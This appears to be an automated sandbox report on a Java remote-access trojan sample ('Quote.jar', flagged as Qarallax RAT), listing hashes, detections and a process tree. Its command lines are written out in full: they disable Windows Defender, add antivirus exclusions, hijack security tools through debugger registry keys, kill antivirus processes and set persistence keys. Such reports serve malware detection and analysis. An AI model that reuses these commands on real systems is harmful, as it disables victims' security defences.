Analysis
-
max time kernel
141s -
max time network
140s -
platform
windows10_x64 -
resource
win10 -
submitted
18-08-2020 19:48
Static task
static1
Behavioral task
behavioral1
Sample
Quote.jar
Resource
win7
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
Quote.jar
Resource
win10
windows10_x64
0 signatures
0 seconds
General
-
Target
Quote.jar
-
Size
399KB
-
MD5
2b68744fed1c4c5c156a4247160fa8f8
-
SHA1
50cb830acadbe050d1cdd3cc1e8516e76a9ab30b
-
SHA256
e06e4d0ce2a189209e34ee24832d021418781872dae863ffa2b4126b14e17b15
-
SHA512
4ed06e23b899d465efc0b75a42b283a48c07eb8ae0dd1848df7a700032324a6a8d7368bb2bad5b7ccc4041b7fd2df447bc60278d65a717989f82d8fff771fe49
Score
10/10
Malware Config
Signatures
-
Qarallax RAT support DLL 1 IoCs
Processes:
resource yara_rule \Users\Admin\AppData\Local\Temp\enPAMRFmEe7825241238734541407.xml qarallax_dll -
Sets file execution options in registry 2 TTPs
-
Loads dropped DLL 1 IoCs
Processes:
java.exepid process 3672 java.exe -
Adds Run key to start application 2 TTPs 4 IoCs
Processes:
java.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce java.exe Set value (str) \REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\DEPOFJF = "\"C:\\Users\\Admin\\Oracle\\bin\\javaw.exe\" -jar \"C:\\Users\\Admin\\UaoPj\\SbBYi.class\"" java.exe Key created \REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\Run java.exe Set value (str) \REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\Run\DEPOFJF = "\"C:\\Users\\Admin\\Oracle\\bin\\javaw.exe\" -jar \"C:\\Users\\Admin\\UaoPj\\SbBYi.class\"" java.exe -
Drops desktop.ini file(s) 4 IoCs
Processes:
java.exeattrib.exeattrib.exedescription ioc process File opened for modification C:\Users\Admin\UaoPj\Desktop.ini java.exe File created C:\Users\Admin\UaoPj\Desktop.ini java.exe File opened for modification C:\Users\Admin\UaoPj\Desktop.ini attrib.exe File opened for modification C:\Users\Admin\UaoPj\Desktop.ini attrib.exe -
Drops file in System32 directory 2 IoCs
Processes:
java.exedescription ioc process File created C:\Windows\System32\vmABS java.exe File opened for modification C:\Windows\System32\vmABS java.exe -
Kills process with taskkill 16 IoCs
Processes:
taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exepid process 5024 taskkill.exe 756 taskkill.exe 860 taskkill.exe 4968 taskkill.exe 3856 taskkill.exe 2256 taskkill.exe 4204 taskkill.exe 4712 taskkill.exe 1736 taskkill.exe 1856 taskkill.exe 2088 taskkill.exe 4920 taskkill.exe 5000 taskkill.exe 4900 taskkill.exe 4688 taskkill.exe 5000 taskkill.exe -
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exepid process 3892 powershell.exe 3892 powershell.exe 3892 powershell.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
java.exepid process 3672 java.exe -
Suspicious use of AdjustPrivilegeToken 164 IoCs
Processes:
WMIC.exeWMIC.exedescription pid process Token: SeIncreaseQuotaPrivilege 808 WMIC.exe Token: SeSecurityPrivilege 808 WMIC.exe Token: SeTakeOwnershipPrivilege 808 WMIC.exe Token: SeLoadDriverPrivilege 808 WMIC.exe Token: SeSystemProfilePrivilege 808 WMIC.exe Token: SeSystemtimePrivilege 808 WMIC.exe Token: SeProfSingleProcessPrivilege 808 WMIC.exe Token: SeIncBasePriorityPrivilege 808 WMIC.exe Token: SeCreatePagefilePrivilege 808 WMIC.exe Token: SeBackupPrivilege 808 WMIC.exe Token: SeRestorePrivilege 808 WMIC.exe Token: SeShutdownPrivilege 808 WMIC.exe Token: SeDebugPrivilege 808 WMIC.exe Token: SeSystemEnvironmentPrivilege 808 WMIC.exe Token: SeRemoteShutdownPrivilege 808 WMIC.exe Token: SeUndockPrivilege 808 WMIC.exe Token: SeManageVolumePrivilege 808 WMIC.exe Token: 33 808 WMIC.exe Token: 34 808 WMIC.exe Token: 35 808 WMIC.exe Token: 36 808 WMIC.exe Token: SeIncreaseQuotaPrivilege 808 WMIC.exe Token: SeSecurityPrivilege 808 WMIC.exe Token: SeTakeOwnershipPrivilege 808 WMIC.exe Token: SeLoadDriverPrivilege 808 WMIC.exe Token: SeSystemProfilePrivilege 808 WMIC.exe Token: SeSystemtimePrivilege 808 WMIC.exe Token: SeProfSingleProcessPrivilege 808 WMIC.exe Token: SeIncBasePriorityPrivilege 808 WMIC.exe Token: SeCreatePagefilePrivilege 808 WMIC.exe Token: SeBackupPrivilege 808 WMIC.exe Token: SeRestorePrivilege 808 WMIC.exe Token: SeShutdownPrivilege 808 WMIC.exe Token: SeDebugPrivilege 808 WMIC.exe Token: SeSystemEnvironmentPrivilege 808 WMIC.exe Token: SeRemoteShutdownPrivilege 808 WMIC.exe Token: SeUndockPrivilege 808 WMIC.exe Token: SeManageVolumePrivilege 808 WMIC.exe Token: 33 808 WMIC.exe Token: 34 808 WMIC.exe Token: 35 808 WMIC.exe Token: 36 808 WMIC.exe Token: SeIncreaseQuotaPrivilege 1172 WMIC.exe Token: SeSecurityPrivilege 1172 WMIC.exe Token: SeTakeOwnershipPrivilege 1172 WMIC.exe Token: SeLoadDriverPrivilege 1172 WMIC.exe Token: SeSystemProfilePrivilege 1172 WMIC.exe Token: SeSystemtimePrivilege 1172 WMIC.exe Token: SeProfSingleProcessPrivilege 1172 WMIC.exe Token: SeIncBasePriorityPrivilege 1172 WMIC.exe Token: SeCreatePagefilePrivilege 1172 WMIC.exe Token: SeBackupPrivilege 1172 WMIC.exe Token: SeRestorePrivilege 1172 WMIC.exe Token: SeShutdownPrivilege 1172 WMIC.exe Token: SeDebugPrivilege 1172 WMIC.exe Token: SeSystemEnvironmentPrivilege 1172 WMIC.exe Token: SeRemoteShutdownPrivilege 1172 WMIC.exe Token: SeUndockPrivilege 1172 WMIC.exe Token: SeManageVolumePrivilege 1172 WMIC.exe Token: 33 1172 WMIC.exe Token: 34 1172 WMIC.exe Token: 35 1172 WMIC.exe Token: 36 1172 WMIC.exe Token: SeIncreaseQuotaPrivilege 1172 WMIC.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
java.exepid process 3672 java.exe -
Suspicious use of WriteProcessMemory 386 IoCs
Processes:
java.execmd.execmd.execmd.exedescription pid process target process PID 3672 wrote to memory of 560 3672 java.exe cmd.exe PID 3672 wrote to memory of 560 3672 java.exe cmd.exe PID 3672 wrote to memory of 524 3672 java.exe cmd.exe PID 3672 wrote to memory of 524 3672 java.exe cmd.exe PID 524 wrote to memory of 808 524 cmd.exe WMIC.exe PID 524 wrote to memory of 808 524 cmd.exe WMIC.exe PID 3672 wrote to memory of 412 3672 java.exe cmd.exe PID 3672 wrote to memory of 412 3672 java.exe cmd.exe PID 412 wrote to memory of 1172 412 cmd.exe WMIC.exe PID 412 wrote to memory of 1172 412 cmd.exe WMIC.exe PID 3672 wrote to memory of 1416 3672 java.exe attrib.exe PID 3672 wrote to memory of 1416 3672 java.exe attrib.exe PID 3672 wrote to memory of 1580 3672 java.exe attrib.exe PID 3672 wrote to memory of 1580 3672 java.exe attrib.exe PID 3672 wrote to memory of 1936 3672 java.exe attrib.exe PID 3672 wrote to memory of 1936 3672 java.exe attrib.exe PID 3672 wrote to memory of 2052 3672 java.exe attrib.exe PID 3672 wrote to memory of 2052 3672 java.exe attrib.exe PID 3672 wrote to memory of 2080 3672 java.exe attrib.exe PID 3672 wrote to memory of 2080 3672 java.exe attrib.exe PID 3672 wrote to memory of 2140 3672 java.exe attrib.exe PID 3672 wrote to memory of 2140 3672 java.exe attrib.exe PID 3672 wrote to memory of 2716 3672 java.exe attrib.exe PID 3672 wrote to memory of 2716 3672 java.exe attrib.exe PID 3672 wrote to memory of 2824 3672 java.exe attrib.exe PID 3672 wrote to memory of 2824 3672 java.exe attrib.exe PID 3672 wrote to memory of 2992 3672 java.exe cmd.exe PID 3672 wrote to memory of 2992 3672 java.exe cmd.exe PID 3672 wrote to memory of 3892 3672 java.exe powershell.exe PID 3672 wrote to memory of 3892 3672 java.exe powershell.exe PID 3672 wrote to memory of 3764 3672 java.exe reg.exe PID 3672 wrote to memory of 3764 3672 java.exe reg.exe PID 3672 wrote to memory of 1736 3672 java.exe taskkill.exe PID 3672 wrote to memory of 1736 3672 java.exe taskkill.exe PID 3672 wrote to memory of 3344 3672 java.exe reg.exe PID 3672 wrote to memory of 3344 3672 java.exe reg.exe PID 3672 wrote to memory of 4064 3672 java.exe reg.exe PID 3672 wrote to memory of 4064 3672 java.exe reg.exe PID 3672 wrote to memory of 1628 3672 java.exe reg.exe PID 3672 wrote to memory of 1628 3672 java.exe reg.exe PID 3672 wrote to memory of 912 3672 java.exe reg.exe PID 3672 wrote to memory of 912 3672 java.exe reg.exe PID 3672 wrote to memory of 864 3672 java.exe reg.exe PID 3672 wrote to memory of 864 3672 java.exe reg.exe PID 3672 wrote to memory of 1700 3672 java.exe reg.exe PID 3672 wrote to memory of 1700 3672 java.exe reg.exe PID 3672 wrote to memory of 1824 3672 java.exe reg.exe PID 3672 wrote to memory of 1824 3672 java.exe reg.exe PID 3672 wrote to memory of 2100 3672 java.exe reg.exe PID 3672 wrote to memory of 2100 3672 java.exe reg.exe PID 3672 wrote to memory of 2820 3672 java.exe reg.exe PID 3672 wrote to memory of 2820 3672 java.exe reg.exe PID 3672 wrote to memory of 3360 3672 java.exe reg.exe PID 3672 wrote to memory of 3360 3672 java.exe reg.exe PID 3672 wrote to memory of 1448 3672 java.exe reg.exe PID 3672 wrote to memory of 1448 3672 java.exe reg.exe PID 2992 wrote to memory of 3876 2992 cmd.exe reg.exe PID 2992 wrote to memory of 3876 2992 cmd.exe reg.exe PID 3672 wrote to memory of 2192 3672 java.exe reg.exe PID 3672 wrote to memory of 2192 3672 java.exe reg.exe PID 3672 wrote to memory of 1228 3672 java.exe reg.exe PID 3672 wrote to memory of 1228 3672 java.exe reg.exe PID 3672 wrote to memory of 2980 3672 java.exe reg.exe PID 3672 wrote to memory of 2980 3672 java.exe reg.exe -
Views/modifies file attributes 1 TTPs 8 IoCs
Processes:
attrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exeattrib.exepid process 2140 attrib.exe 2716 attrib.exe 2824 attrib.exe 1416 attrib.exe 1580 attrib.exe 1936 attrib.exe 2052 attrib.exe 2080 attrib.exe
Processes
-
C:\ProgramData\Oracle\Java\javapath\java.exejava -jar C:\Users\Admin\AppData\Local\Temp\Quote.jar1⤵
- Loads dropped DLL
- Adds Run key to start application
- Drops desktop.ini file(s)
- Drops file in System32 directory
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exeWMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exeWMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path FirewallProduct Get displayName /Format:List3⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\attrib.exeattrib +h C:\Users\Admin\Oracle2⤵
- Views/modifies file attributes
-
C:\Windows\SYSTEM32\attrib.exeattrib +h +r +s C:\Users\Admin\.ntusernt.ini2⤵
- Views/modifies file attributes
-
C:\Windows\SYSTEM32\attrib.exeattrib -s -r C:\Users\Admin\UaoPj\Desktop.ini2⤵
- Drops desktop.ini file(s)
- Views/modifies file attributes
-
C:\Windows\SYSTEM32\attrib.exeattrib +s +r C:\Users\Admin\UaoPj\Desktop.ini2⤵
- Drops desktop.ini file(s)
- Views/modifies file attributes
-
C:\Windows\SYSTEM32\attrib.exeattrib -s -r C:\Users\Admin\UaoPj2⤵
- Views/modifies file attributes
-
C:\Windows\SYSTEM32\attrib.exeattrib +s +r C:\Users\Admin\UaoPj2⤵
- Views/modifies file attributes
-
C:\Windows\SYSTEM32\attrib.exeattrib +h C:\Users\Admin\UaoPj2⤵
- Views/modifies file attributes
-
C:\Windows\SYSTEM32\attrib.exeattrib +h +s +r C:\Users\Admin\UaoPj\SbBYi.class2⤵
- Views/modifies file attributes
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\reg.exereg query "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\uninstall" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\uninstall" /reg:323⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\UaoPj','C:\Users\Admin\AppData\Local\Temp\','C:\Users\Admin\jitsib64.dll','C:\Users\Admin\UaoPj\lib\bridj-0.7.0.jar','C:\Users\Admin\Google Chrome' -ExclusionExtension 'jar','exe','dll','txt','hta','vbs','jpg','jpeg','png','js','doc','docx','pdf','scr' -ExclusionProcess 'java.exe','javaw.exe','reg.exe','regedit.exe','tasklist.exe','netstat.exe','cmd.exe','netsh.exe','taskkill.exe'"2⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f2⤵
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "ProcessHacker.exe" /T /F2⤵
- Kills process with taskkill
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessHacker.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCuiL.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f2⤵
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f2⤵
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCui.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MsMpEng.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f2⤵
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpUXSrv.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpCmdRun.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\NisSrv.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ConfigSecurityPolicy.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wireshark.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tshark.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "MSASCuiL.exe" /T /F2⤵
- Kills process with taskkill
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\text2pcap.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rawshark.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dumpcap.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\capinfos.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
-
C:\Windows\System32\reg.exe"C:\Windows\System32\reg.exe" add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Procmon.exe" /v debugger /t REG_SZ /d svchost.exe /f /reg:642⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\uninstall\OneDriveSetup.exe" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\uninstall\OneDriveSetup.exe" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\System32\Wbem\WMIC.exewmic /Node:localhost /Namespace:\\root\cimv2 Path Win32_PnpSignedDriver Get /Format:List3⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall" /reg:323⤵
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "MSASCui.exe" /T /F2⤵
- Kills process with taskkill
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\7-Zip" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\7-Zip" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\AddressBook" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\AddressBook" /reg:323⤵
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "MsMpEng.exe" /T /F2⤵
- Kills process with taskkill
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Connection Manager" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Connection Manager" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DirectDrawEx" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DirectDrawEx" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DXM_Runtime" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\DXM_Runtime" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Fontcore" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Fontcore" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE40" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE40" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE4Data" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE4Data" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE5BAKEX" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IE5BAKEX" /reg:323⤵
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "MpUXSrv.exe" /T /F2⤵
- Kills process with taskkill
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IEData" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\IEData" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MobileOptionPack" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MobileOptionPack" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Mozilla Firefox 75.0 (x64 en-US)" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\Mozilla Firefox 75.0 (x64 en-US)" /reg:323⤵
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "MpCmdRun.exe" /T /F2⤵
- Kills process with taskkill
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MozillaMaintenanceService" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MozillaMaintenanceService" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MPlayer2" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\MPlayer2" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\ProPlusRetail - en-us" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\ProPlusRetail - en-us" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\SchedulingAgent" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\SchedulingAgent" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\VLC media player" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\VLC media player" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\WIC" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\WIC" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{12578975-C765-4BDF-8DDC-3284BC0E855F}" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{12578975-C765-4BDF-8DDC-3284BC0E855F}" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{26A24AE4-039D-4CA4-87B4-2F86418066F0}" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{26A24AE4-039D-4CA4-87B4-2F86418066F0}" /reg:323⤵
-
C:\Windows\System32\taskkill.exe"C:\Windows\System32\taskkill.exe" /IM "NisSrv.exe" /T /F2⤵
- Kills process with taskkill
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{37B8F9C7-03FB-3253-8781-2517C99D7C00}" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{37B8F9C7-03FB-3253-8781-2517C99D7C00}" /reg:323⤵
-
C:\Windows\SYSTEM32\cmd.execmd.exe2⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5740BD44-B58D-321A-AFC0-6D3D4556DD6C}" /reg:643⤵
-
C:\Windows\system32\reg.exereg query "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\uninstall\{5740BD44-B58D-321A-AFC0-6D3D4556DD6C}" /reg:323⤵
-
